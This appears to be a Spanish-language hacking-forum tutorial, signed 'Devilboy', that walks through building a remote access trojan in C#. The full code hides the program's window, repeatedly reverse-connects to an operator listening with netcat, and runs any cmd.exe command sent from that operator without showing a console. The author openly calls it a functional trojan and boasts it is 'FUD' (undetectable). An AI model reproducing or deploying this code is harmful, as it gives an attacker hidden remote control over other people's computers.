En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algun otro IDE.
***************Creando el Servidor*************
Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con una pausa del tiempo que nosotros indiquémos
Abrimos vs y creamos un nuevo proyecto de winform, y dos clases con el nombre que querámos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:
Primero escribiremos la clase servidor
agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:
Código:
using System.IO; //Streams
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos
y nuestra clase quedará de la sig. manera:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos
namespace Server
{
public class Servidor
{
//variables necesarias para conectarnos al cliente de manera inversa, ademas de escuchar los mensajes de este
private string ip;
private int port;
private TcpClient tcpClient;
private NetworkStream ns;
private StreamReader sr;
private StreamWriter sw;
private StringBuilder sb;
public Servidor(string ip, int port)
{
this.ip = ip;
this.port = port;
}
private enum mensajes
{
CD,
Mensaje
}
public void iniciar(int tiempo)
{
EjecutarServidor();
Thread.Sleep(tiempo);
}
private void EjecutarServidor()
{
tcpClient = new TcpClient();
sb = new StringBuilder();
if (!tcpClient.Connected)
{
try
{
tcpClient.Connect(ip, port);
ns = tcpClient.GetStream();
sr = new StreamReader(ns);
sw = new StreamWriter(ns);
}
catch (Exception)
{
return;
}
for (; ; )
{
try
{
sb.Append(sr.ReadLine());
LeerDatos(sb.ToString());
sb.Remove(0, sb.Length);
}
catch (Exception)
{
limpiar();
break;
}
}
}//fin del if
}//fin del metodo EjecutarServidor
private void LeerDatos(string datos)
{
string[] cadena = datos.Split('$');
if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
{
Utilidades.mandarMensaje(cadena[1]);
}
}//fin de LeerDatos
private void limpiar()
{
sr.Close();
sw.Close();
ns.Close();
}//fin de limpiar
}//fin clase servidor
}
Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader que usarémos para escuchar los mensajes que el cliente escriba.
Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:
si el cliente escribe por ejemplo "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase Utilidades.
En el metodo iniciar hemos creado un bucle donde se ejecutará el metodo EjecutarServidor y ademas hará una pausa de x milisegundos.
El sig. metodo es el corazón del servidor, aqui intentarémos conectarnos y escucharémos los mensajes que el cliente nos pase
Los mensajes los validaremos en el metodo LeerDatos donde mandarémos como parametros el mensaje que el cliente escriba
Aquí mediante un string.compare() validamos si el mensaje es igual a lo que esperámos y si es así entonces ejecutarémos lo que haya en Utilidades
además usamos un split para seprar el mensaje del cliente, mas adelante con un ejemplo mostraré lo que realmente hace
el ultimo metodo es limpiar, aqui cerrarémos los streams.
ahora en la clase Utilidades, vamos a indicarle que sea estatica para no tener que instanciarla cada vez que la querámos utilizar
aqui simplemente se ejecuta un MessageBox.Show con el mensaje que el cliente haya escrito.
***************Usando la clase*************
ahora solo nos queda irnos al form y en el evento load de nuestro form y escribimos lo sig:
crearemos dos variables
Código:
private Servidor servidor;
private int tiempoRecon;
en el contructor las asignarémos:
Código:
servidor = new Servidor("127.0.0.1", 9999);
tiempoRecon = 5000;
y el el evento load ejecutarémos nuestra clase:
Código:
private void Form1_Load(object sender, EventArgs e)
{
this.Hide();
for (; ; )
{
servidor.iniciar(tiempoRecon);
}
}
el codigo completo es el sig:
Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server
{
public partial class Form1 : Form
{
private Servidor servidor;
private int tiempoRecon;
public Form1()
{
InitializeComponent();
servidor = new Servidor("127.0.0.1", 9999);
tiempoRecon = 5000;
}
private void Form1_Load(object sender, EventArgs e)
{
this.Hide();
for (; ; )
{
servidor.iniciar(tiempoRecon);
}
}
}
}
***************Usar Netcat o Cryptcat como cliente*************
Como mandar los mensajes de un cliente.
bueno es muy facil podemos crear otra aplicación pero en este caso usarémos al viejo netcat o cryptcar
lo colocámos en c:\ y abrimos linea de comandos:
Código:
nc.exe -lvp 9999
ejecutamos nuestro servidor y verémos como estámos conectados
ahora solo escribirémos lo sig:
Mensaje$HolaDesdeElCliente
y verémos como se abre el MessageBox del servidor con el mensaje HolaDesdeElCliente
el mensaje del cliente como dije antes se valida en el metodo LeerDatos(string datos)
donde el parametro datos en este caso va a ser igual a "Mensaje$HolaDesdeElCliente"
y mediante el metodo string.split() vamos a separar en un arreglo todo el mensaje que haya antes del signo "$" y todo lo que haya despues
en este caso quedará asi:
Código:
string[] cadena = datos.Split('$');
siendo:
cadena[0] //Mensaje
y
cadena[1] //HolaDesdeElCliente
si escribimos cualquier otra cosa verémos que nuestro servidor no hace absolutamente nada.
pero bueno ya con ese estoy seguro que se les ocurrirá muchas cosas
bueno ahora verémos como hacerlo a la inversa (del servidor al cliente)
un ejemplo extremandamente sencillo será mandar un mensaje de Bienvenida una vez que el cliente se conecte
esto lo haremos simplemnete usando el metodo writeline de nuestro StreamWriter
solamente agregruen los sig. despues de que tcpclient se conecte:
Código:
sw.WriteLine("Hola");
sw.Flush();
con eso mandamos un mensaje mediante writeline y mediante flush borramos todos los búferes
una vez sabiendo esto es facil deducir lo que podemos hacer por ejemplo sería creando otra validacion en nuestro metodo LeerDatos
quedaría de la sig forma en pseudocdigo:
Código:
si el mensaje del cliente es igual a "dameIP" entonces
ejecutamos el metodo Utilidades.obtenerIP
y ese resultado lo mandamos mendiante writeline
como ven es muy facil crear un troyano simple.
ahora les voy a enseñar como mandar comandos cmd a nuestro servidor
agregamos un valor a la variable enum mensajes en mi caso quedó así:
Código:
private enum mensajes
{
CD,
Mensaje,
comando
}
y validamos el mensaje en el metodo LeerDatos
Código:
if (String.Compare(cadena[0], mensajes.comando.ToString()) == 0)
{
Utilidades.consola(cadena[1]);
}
agregamos el sig. namespace en nuestra clase utilidades:
Código:
using System.Diagnostics;
y creamos el sig metodo en la clase Utilidades
Código:
public static void consola(string comando)
{
Process cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.RedirectStandardInput =
true;
cmd.StartInfo.RedirectStandardOutput =
true;
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.Start();
cmd.StandardInput.WriteLine(comando);
cmd.StandardInput.Flush();
cmd.StandardInput.Close();
}
y listo, ahora ejecutamos el servidor, abrimos netcat y mandamos mensaje de la siguiente forma:
comando$md pruebaaaaaa
donde comando es el mensaje que va a validar en LeerDatos
$ es simbola para separar
y md prueba es el comando (crear carpeta pruebaaaaa)
como ven es extremadamente sencillo
ya con esto hemos hecho un RAT funcional y lo mejor de todo FUD
Devilboy